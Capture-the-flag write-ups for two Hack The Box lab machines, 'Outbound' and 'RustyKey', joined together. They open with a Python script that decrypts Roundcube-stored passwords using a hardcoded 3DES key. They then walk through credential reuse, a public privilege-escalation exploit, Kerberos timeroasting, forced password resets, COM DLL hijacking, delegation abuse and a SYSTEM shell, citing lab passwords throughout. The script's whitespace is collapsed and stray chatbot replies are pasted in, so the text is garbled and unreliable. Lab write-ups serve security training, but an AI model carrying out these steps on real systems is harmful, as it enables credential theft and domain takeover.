#!/usr/bin/env python3import base64from Crypto.Cipher import DES3from Crypto.Util.Padding import unpadDES_KEY = 'rcmail-!24ByteDESkey*Str'# Roundcube 3DES key (24 bytes)defextract_iv_and_data(b64_string):"""Decode base64 and split into IV + encrypted data.""" raw = base64.b64decode(b64_string)return raw[:8], raw[8:]defcreate_cipher(des_key, iv):"""Return a 3DES CBC cipher instance.""" key = des_key.encode('utf-8')[:24]return DES3.new(key, DES3.MODE_CBC, iv)defdecrypt_value(b64_string, des_key):"""Decrypt a Roundcube-encrypted base64 string."""try: iv, encrypted = extract_iv_and_data(b64_string) cipher = create_cipher(des_key, iv) decrypted_padded = cipher.decrypt(encrypted)# Remove padding safelytry: decrypted = unpad(decrypted_padded, DES3.block_size)except: decrypted = decrypted_padded.rstrip(b'\x00\x01\x02\x03\x04\x05\x06\x07\x08')return decrypted.decode('utf-8', errors='ignore').strip(), iv, encryptedexceptExceptionas e:returnf"Decryption failed: {str(e)}", None, Nonedefprint_decryption(label, data, des_key):"""Helper to decrypt and print results in structured form.""" plaintext, iv, encrypted = decrypt_value(data, des_key)print(f"[{label}]")print(f" Base64: {data}")print(f" Plaintext: {plaintext}")if iv isnotNone:print(f" IV: {iv.hex()}")print(f" Encrypted(hex): {encrypted.hex()}")print()defmain():# Extracted values username = "jacob" password_b64 = "L7Rv00A8TuwJAr67kITxxcSgnIk25Am/" auth_secret_b64 = "DpYqv6maI9HxDL5GhcCd8JaQQW" request_token_b64 = "TIsOaABA1zHSXZOBpH6up5XFyayNRHaw"print("\n=== Roundcube Password / Token Decryptor ===\n")print(f"Using DES Key: {DES_KEY}\n")print(f"User: {username}\n") print_decryption("Password", password_b64, DES_KEY) print_decryption("Auth Secret", auth_secret_b64, DES_KEY) print_decryption("Request Token", request_token_b64, DES_KEY)print("Decryption Method: 3DES CBC (IV extracted from base64)")if__name__ == "__main__": main()
This Python script is designed to decrypt Roundcube webmail passwords (and similar session tokens) that are stored in 3DES-encrypted form. Key points:
Decryption Method: Uses 3DES in CBC mode with a 24-byte key (des_key) and an 8-byte IV extracted from the start of the base64-encoded data.
Encrypted Data Handling: The script first base64-decodes the input, separates the IV (first 8 bytes) from the encrypted payload, and then decrypts it.
Padding Removal: After decryption, it removes PKCS#5/7 padding with unpad; if that fails, it manually strips extra bytes.
Target Data: In this example, it decrypts the user jacob’s password (L7Rv00A8TuwJAr67kITxxcSgnIk25Am/) along with the auth_secret and request_token.
Output: Shows the plaintext password, IV, and encrypted data in hex for analysis.
The decrypted Roundcube credentials reveal the username jacob with the plaintext password 595mO8DmwGeD. These credentials can now be tested for SSH authentication to determine whether the same password is reused across services. Since password reuse is common in misconfigured environments, attempting SSH login with these details may provide direct shell access to the target system.
The email content from Jacob’s mailbox shows two messages. The first, from Tyler, notifies Jacob of a recent password change and provides a temporary password gY4Wr3a1evp4, advising Jacob to update it upon next login. The second email, from Mel, informs Jacob about unexpected high resource consumption on the main server. Mel mentions that resource monitoring has been enabled and that Jacob has been granted privileges to inspect the logs, with a request to report any irregularities immediately. Together, these emails reveal sensitive information including temporary credentials and access responsibilities for server monitoring.
We’re now able to access and read the user flag.
Escalate to Root Privileges Access on the Outbound machine
Privilege Escalation:
Consistent with the earlier hint, sudo -l reveals sudo access to /usr/bin/below.
After investigating below, we found its GitHub project. In the Security section, the advisory GHSA-9mc5-7qhg-fp3w is listed.
This advisory describes an Incorrect Permission Assignment for a Critical Resource affecting version 0.9.0. Inspecting the /var/log/below directory, we see that its permissions are set to 0777, meaning it is world-writable. This confirms the advisory’s impact, as anyone can create or modify files in this directory.
Mapping the Vulnerability to CVE‑2025‑27591
Further research shows that this vulnerability is tracked as CVE‑2025‑27591, and a PoC is publicly available.
Upload the Python script to the compromised host.
Using the exploit from the following source: BridgerAlderson’s CVE‑2025‑27591 PoC on GitHub.
We can read the root flag simply by running cat root.txt.
In this writeup, we will explore the “RustyKey” machine from Hack The Box, categorized as an Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.
Objective:
The goal of this walkthrough is to complete the “RustyKey” machine from Hack The Box by achieving the following objectives:
User Flag:
Authenticated to the domain as bb.morgan (password P@ssw0rd123) after exploiting Kerberos flows and time sync. You obtained a Kerberos TGT (bb.morgan.ccache), exported it via KRB5CCNAME, and used evil‑winrm to open an interactive shell on dc.rustykey.htb.
Root Flag:
Escalation to SYSTEM was achieved by abusing machine and delegation privileges. Using the IT‑COMPUTER3$ machine account you modified AD protections and reset ee.reed’s password, then performed S4U2Self/S4U2Proxy to impersonate backupadmin and saved backupadmin.ccache. With that ticket, you used Impacket to upload and run a service payload and spawned a SYSTEM shell.
Enumerating the Machine
Reconnaissance:
Nmap Scan:
Begin with a network scan to identify open ports and running services on the target machine.
53/tcp (DNS – Simple DNS Plus): DNS service is running, likely handling domain name resolution for the internal Active Directory environment.
88/tcp (Kerberos-sec): Kerberos authentication service for Active Directory domain rustykey.htb0. Useful for ticket-based authentication attacks such as AS-REP roasting or Kerberoasting.
135/tcp (MSRPC): Microsoft RPC endpoint mapper. Commonly used for remote management and DCOM-based communication.
139/tcp (NetBIOS-SSN): NetBIOS session service — supports SMB over NetBIOS; can reveal shares or host information.
389/tcp (LDAP): Lightweight Directory Access Protocol for Active Directory. Likely allows domain information queries; potential for anonymous LDAP enumeration.
445/tcp (Microsoft-DS): SMB over TCP for file sharing and remote service operations; often used for lateral movement or enumeration (e.g., SMB shares, users, policies).
464/tcp (kpasswd5): Kerberos password change service; might be used for password reset operations.
593/tcp (ncacn_http): Microsoft RPC over HTTP — commonly used for Outlook Anywhere and DCOM-based communication.
636/tcp (LDAPS): LDAP over SSL/TLS; encrypted directory service communications.
3268/tcp (Global Catalog – LDAP): LDAP global catalog port for multi-domain queries in Active Directory.
3269/tcp (Global Catalog over SSL): Secure LDAP global catalog service.
Server Enumeration:
Before starting, we need to specify the correct Kerberos realm by creating a krb5.conf file in /etc/krb5.conf and adding the following content above
NXC enumeration
The scans show an Active Directory host (dc.rustykey.htb) with SMB and LDAP/kerberos services; SMB on 10.10.11.75 negotiated x64, signing required, and SMBv1 disabled, while an SMB auth attempt for rr.parker returned STATUS_NOT_SUPPORTED — indicating the server rejected the authentication method the client used rather than definitively proving the password is wrong. The LDAP attempt shows KDC_ERR_WRONG_REALM for rustykey.htb\rr.parker, meaning the Kerberos realm in use didn’t match the domain. Likely causes include incorrect credentials, an auth-method mismatch (NTLM vs Kerberos or wrong NTLM dialect), enforced SMB signing, wrong/unspecified Kerberos realm, account restrictions (disabled/locked/password change required), or tool/quoting issues from special characters. Triage by retrying with a domain-qualified username (RUSTYKEY\rr.parker or rr.parker@RUSTYKEY), testing with alternate SMB clients (crackmapexec, smbclient, Impacket), forcing NTLM if needed, validating Kerberos realm and obtaining a TGT, performing LDAP or rpc enumeration to confirm account status, and escaping or simplifying the password to rule out encoding problems.
This time, the error returned is KRB_AP_ERR_SKEW, indicating a time synchronization issue between the client and the server.
Using nxc with Kerberos authentication (-k) and domain rustykey.htb, the SMB service on dc.rustykey.htb was successfully accessed with the credentials rr.parker:8#t5HE8L!W3A. The enumeration revealed an x64 domain controller with SMB signing enabled and SMBv1 disabled. The command listed 11 local users, including Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin, along with their last password set dates and account descriptions. This confirms that rr.parker’s credentials are valid and have sufficient access to query user accounts over SMB. The successful Kerberos-based login also verifies proper realm configuration and time synchronization, allowing secure enumeration of domain users.
Using Kerberos authentication (-k) with the domain rustykey.htb, LDAP enumeration on dc.rustykey.htb successfully authenticated as rr.parker:8#t5HE8L!W3A. The scan enumerated 11 domain users, showing usernames, last password set dates, and account descriptions. Accounts include Administrator, Guest, krbtgt, rr.parker, mm.turner, bb.morgan, gg.anderson, dd.ali, ee.reed, nn.marcos, and backupadmin. This confirms rr.parker’s credentials are valid and have permission to query domain user information over LDAP. The domain controller responded correctly to Kerberos authentication, indicating proper realm configuration and time synchronization.
Impacket successfully requested a TGT from DC 10.10.11.75 for rustykey.htb/rr.parker and saved the Kerberos ticket to rr.parker.ccache.
ChatGPT said:
Set the Kerberos credential cache by exporting KRB5CCNAME=rr.parker.ccache so Kerberos-aware tools use the saved TGT for authentication.
This directs commands like klist, curl –negotiate, and Impacket utilities to the specified ccache.
Bloodhound enumeration
The DNS timeout indicates that the BloodHound collector couldn’t resolve SRV records or reach the domain controller’s DNS. This often happens due to incorrect DNS settings on your Parrot OS machine, firewall restrictions, or reliance on SRV lookups instead of a direct DC IP.
Synchronizing the clock with ntpdate -s 10.10.11.75 resolved the issue. Kerberos authentication requires the client and domain controller clocks to be closely aligned, and a time drift triggers KRB_AP_ERR_SKEW errors. After syncing, the Kerberos TGT became valid, allowing BloodHound to authenticate and enumerate the domain successfully. You can verify the ticket with klist and rerun BloodHound using -k or your ccache. For a persistent solution, consider running a time service like chrony or ntpd, or continue using ntpdate during the engagement.
IT‑COMPUTER3$ added itself to the HelpDesk group.
Execute timeroast.py.
Because the machine requires Kerberos authentication, enumeration attempts return no results. In addition to AS-REP roasting and Kerberoasting, a new technique called timeroast has recently emerged.
The screenshot above shows the hash as clean.
Hashcat was unable to crack the hash.
The main() function sets up and runs the script: it creates an argument parser with two positional inputs (the timeroast hashes file and a password dictionary opened with latin-1 encoding), parses those arguments, then calls try_crack to iterate through dictionary candidates and compare them to the parsed hashes. For each match it prints a “[+] Cracked RID …” line and increments a counter, and when finished it prints a summary of how many passwords were recovered. The if __name__ == '__main__' guard ensures main() runs only when the script is executed directly.
Running python3 timecrack.py timeroast.txt rockyou.txt recovered one credential: RID 1125 — password Rusty88!. Total passwords recovered: 1.
Impacket requested a TGT for the machine account IT-COMPUTER3$ on rustykey.htb and saved the Kerberos ticket to IT-COMPUTER3$.ccache. The Kerberos credential cache was set to IT-COMPUTER3$.ccache by exporting KRB5CCNAME=IT-COMPUTER3\$.ccache, directing Kerberos-aware tools to use this saved TGT for authentication.
Using BloodHound with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, and ran add groupMember HELPDESK IT-COMPUTER3$ — the account IT-COMPUTER3$ was successfully added to the HELPDESK group.
Using BloodyAD with Kerberos against dc.rustykey.htb (domain rustykey.htb), authenticated as the machine account IT-COMPUTER3$, ran set password for bb.morgan to P@ssw0rd123, and the password was changed successfully.
Impacket attempted to request a TGT for bb.morgan@rustykey.htb, but the KDC rejected it with KDC_ERR_ETYPE_NOSUPP, meaning the Key Distribution Centre does not support the encryption type used.
If you need that permission, remove the protection first — bb.morgan.
Ran BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ to remove the account IT from the PROTECTED OBJECTS group, and the tool reported that IT was removed. Using BloodyAD with Kerberos against dc.rustykey.htb as IT-COMPUTER3$ I changed bb.morgan’s password to P@ssw0rd123. I then requested a TGT for bb.morgan with impacket-getTGT and saved the ticket to bb.morgan.ccache
Set KRB5CCNAME to bb.morgan.ccache so Kerberos-aware tools use that credential cache.
If evil-winrm failed, common causes are WinRM not reachable, wrong auth method, or account restrictions. First check connectivity and service: nc -vz 10.10.11.75 5985 (and 5986). Test the WinRM endpoint with curl to see auth behavior: curl --negotiate -u 'bb.morgan:P@ssw0rd123' http://10.10.11.75:5985/wsman If you’re using Kerberos, ensure KRB5CCNAME points to the bb.morgan ccache and run evil-winrm with Kerberos (use the tool’s Kerberos flag). If password auth, try: evil-winrm -i 10.10.11.75 -u bb.morgan -p 'P@ssw0rd123'. If that still fails, try an alternate Impacket client (wmiexec.py, psexec.py) to rule out evil-winrm-specific issues. Also verify the account isn’t restricted (must-change-password, disabled, or requires smartcard) and that SMB/WinRM signing/policy isn’t blocking the session. Tell me the exact error if you want targeted troubleshooting.
After synchronising the system clock with rdate, evil-winrm successfully established a session to dc.rustykey.htb using the bb.morgan account in the rustykey.htb domain.
To view the user flag, run type user.txt at the command prompt.
Escalate to Root Privileges Access
Privilege Escalation:
One PDF file stood out and drew my attention.
Download the PDF to our machine.
The message appears to be from bb.morgan to support-team@rustykey.htb, stating the support team will receive elevated registry permissions and temporary elevated rights. Reviewing BloodHound shows ee.reed is a member of the support-team@rustykey.htb group.
Using the IT‑COMPUTER3$ machine account you removed SUPPORT from the Protected Objects container and reset ee.reed’s password to P@ssword123 — actions that demonstrate domain‑level privilege to alter AD protections and control user accounts. With ee.reed’s credentials you can obtain a TGT, export a ccache, and authenticate to domain services (SMB/WinRM/LDAP) to escalate access and pivot further.
This indicates that the SUPPORT group has modify permissions on the registry and can interact with compression and decompression functions.
Requested a TGT for ee.reed@rustykey.htb from DC 10.10.11.75 and saved the Kerberos ticket to ee.reed.ccache.
Evil‑winrm failed to establish a session using ee.reed’s access.
Let’s start the listener.
Upload runascs.exe
Attempt to execute the payload.
Access obtained as ee.reed.
Oddly, the victim machine has 7‑Zip installed.
It’s 7‑Zip version 24.08.
The command reg query "HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers" queries the Windows Registry to list all entries under the ContextMenuHandlers key for all file types (*) in the HKEY_LOCAL_MACHINE\Software\Classes hive.
Query the registry key HKEY_LOCAL_MACHINE\Software\Classes\*\ShellEx\ContextMenuHandlers\7-Zip.
Display the registry key HKLM\SOFTWARE\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}.
Query the registry key HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32.
This PowerShell command retrieves and displays the detailed access permissions (ACL) for the 7-Zip COM object CLSID registry key (HKLM\SOFTWARE\Classes\CLSID\{23170F69-40C1-278A-1000-000100020000}), showing which users or groups can read, modify, or take ownership of the key in a clear, list format.
Download the DLL file onto the target machine.
Add or update the default value of HKLM\Software\Classes\CLSID{23170F69-40C1-278A-1000-000100020000}\InprocServer32 to C:\tmp\dark.dll using reg add with the force flag.
Executing rundll32.exe dark.dll, dllmain produces no visible effect.
Obtained a shell as the user mm.turner.
It shows that the SUPPORT group has registry modify permissions and can access compression and decompression functionalities.
Initially, this PowerShell command failed to configure the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property.
This PowerShell command configures the DC computer account to allow delegation to the IT-COMPUTER3$ account by setting the PrincipalsAllowedToDelegateToAccount property, effectively granting that machine account the ability to act on behalf of other accounts for specific services.
Ran Impacket getST for SPN cifs/DC.rustykey.htb while impersonating backupadmin (DC 10.10.11.75) using rustykey.htb/IT-COMPUTER3$:Rusty88!. No existing ccache was found so a TGT was requested, the tool performed S4U2Self and S4U2Proxy flows to impersonate backupadmin, and saved the resulting ticket as backupadmin.ccache. Deprecation warnings about UTC handling were also printed.
Export the Kerberos ticket to a ccache file, then use Impacket’s secretdump to extract the account hashes.
Using the backupadmin Kerberos ticket (no password), Impacket connected to dc.rustykey.htb, discovered a writable ADMIN$ share, uploaded rFPLWAqZ.exe, created and started a service named BqCY, and spawned a shell — whoami returned NT AUTHORITY\SYSTEM.
To view the root flag, run type root.txt at the command prompt.